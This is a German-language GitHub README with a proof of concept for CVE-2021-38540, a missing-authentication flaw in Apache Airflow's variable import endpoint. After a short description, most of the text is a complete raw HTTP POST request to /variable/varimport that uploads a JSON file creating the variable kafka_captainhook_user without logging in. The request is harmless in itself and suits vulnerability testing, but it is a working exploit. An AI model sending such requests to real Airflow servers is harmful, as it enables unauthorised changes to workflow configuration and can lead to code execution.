captain-v-hook/poc-for-cve-2021-38540-Fehlende Authentifizierung bei kritischer Komponente CVE-2021-38540
Fehlende Authentifizierung bei kritischer Komponente, bekannt als CVE-2021-38540
Der Variablenimport-Endpunkt war in Airflow >=2.0.0, <2.1.3 nicht durch Authentifizierung geschützt. Dadurch konnten nicht authentifizierte Benutzer auf diesen Endpunkt zugreifen, um Airflow-Variablen, die in DAGs verwendet werden, hinzuzufügen oder zu ändern, was potenziell zu einem Denial-of-Service, einer Offenlegung von Informationen oder einer Remote-Code-Ausführung führen konnte. Dieses Problem betrifft Apache Airflow >=2.0.0, <2.1.3. [CVE-2021-38540]
Dieser PoC enthält eine Anfrage, die eine Variable mit dem Namen: kafka_captainhook_user unter Admin>variables [ List Variables ] erstellt.
POST /variable/varimport HTTP/2
Host: airflow.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33976360506209910502051128075
Content-Length: 398
Origin: https://airflow.example.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="csrf_token"
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="file"; filename="variables.json"
Content-Type: application/json
{
"kafka_captainhook_user": "testCaptain"
}
-----------------------------33976360506209910502051128075--